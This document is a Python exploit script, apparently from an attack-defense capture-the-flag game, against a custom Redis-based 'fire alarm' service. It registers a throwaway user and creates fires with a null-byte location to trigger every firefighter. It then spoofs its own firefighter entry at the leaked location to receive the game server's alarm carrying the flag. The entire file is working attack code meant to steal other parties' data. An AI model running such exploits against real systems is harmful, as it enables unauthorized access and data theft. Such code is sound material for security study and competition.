import json
import string
import sys
import random
import uuid

import redis


def random_str(l):
    return ''.join(random.choice(string.ascii_letters) for _ in range(l))


def exploit(target):
    client = redis.Redis(target, 16379, single_connection_client=True, socket_timeout=3)
    countries = client.lrange('newest:countries', 0, 50)

    username = random_str(16)
    passwd = random_str(16)
    client.execute_command('NEWUSER', username, passwd)
    client.execute_command('AUTH', username, passwd)

    # Get all countries with the relevant (the first) fire
    for country in countries:
        country = country.decode()
        fire_id = client.lrange(f'country:{country}:fires', -1, -1)[0].decode()
        print('Country:', country, 'Fire:', fire_id)

        # Create a new fire with location "\x00..." - it will trigger ALL firefighters in the country
        our_fire_id = uuid.uuid4()
        client.hsetnx(f'fire:{our_fire_id}', 'country', country)
        client.hsetnx(f'fire:{our_fire_id}', 'location', b'\x00' + random_str(15).encode())
        client.hsetnx(f'fire:{our_fire_id}', 'content', '...')
        results = client.execute_command('FIREALARM', f'fire:{our_fire_id}')

        if len(results) > 1:
            # We triggered the gameserver's firefighter. We place ourselves on the same location, and trigger the "real" fire
            print('=>', results)
            location = json.loads(results[1].decode())['location']
            client.hsetnx(f'country:{country}:firefighters', username, f'{{"country":"{country}","location":"{location}"}}')
            client.execute_command('FIREALARM', f'fire:{fire_id}')
            # We should have received the alarm of the gameserver's campfire, containing the flag.
            alarms = client.lrange(f'user:{username}:alarms', 0, -1)
            print('Alarms:', alarms)


if __name__ == '__main__':
    exploit(sys.argv[1] if len(sys.argv) > 1 else '127.0.0.1')
